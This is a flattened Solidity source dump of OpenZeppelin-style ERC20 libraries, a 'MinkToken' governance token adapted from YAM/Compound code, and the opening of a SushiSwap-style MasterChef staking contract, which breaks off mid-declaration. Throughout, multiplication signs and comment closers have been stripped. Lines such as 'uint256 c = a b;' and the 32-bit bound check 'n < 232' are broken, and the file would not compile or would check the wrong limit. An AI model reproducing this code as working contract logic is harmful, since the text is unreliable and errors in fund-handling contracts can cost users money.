to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /* * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. / library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /* * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. / function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) \|\| (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /* * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). / function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.6.0; /* * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. / library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /* * @dev Returns true if the value is in the set. O(1). / function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /* * @dev Returns the number of values on the set. O(1). / function _length(Set storage set) private view returns (uint256) { return set._values.length; } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /* * @dev Returns true if the value is in the set. O(1). / function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /* * @dev Returns the number of values in the set. O(1). / function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /* * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. / function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /* * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. / function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /* * @dev Returns true if the value is in the set. O(1). / function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /* * @dev Returns the number of values on the set. O(1). / function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /* * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. / function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } pragma solidity ^0.6.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity 0.6.12; // MinkToken with Governance. contract MinkToken is ERC20("MinkToken", "MINK"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for / function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /* * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to / function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /* * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair / function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "MINK::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "MINK::delegateBySig: invalid nonce"); require(now <= expiry, "MINK::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /* * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` / function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /* * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block / function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "MINK::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying MINKs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "MINK::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 232, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity 0.6.12; // MasterChef is the master of Mink. He can breed Minks and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once MINK is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of MINKs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount pool.accMinkPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accMinkPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. MINKs to distribute per block. uint256 lastRewardBlock; // Last block number that MINKs distribution occurs. uint256 accMinkPerShare; // Accumulated MINKs per share, times 1e12. See below. } // The MINK TOKEN! MinkToken public mink; // Dev address. address public devaddr; // Block number when bonus MINK period ends. uint256 public bonusEndBlock; // MINK tokens created per block. uint256 public minkPerBlock; // Bonus 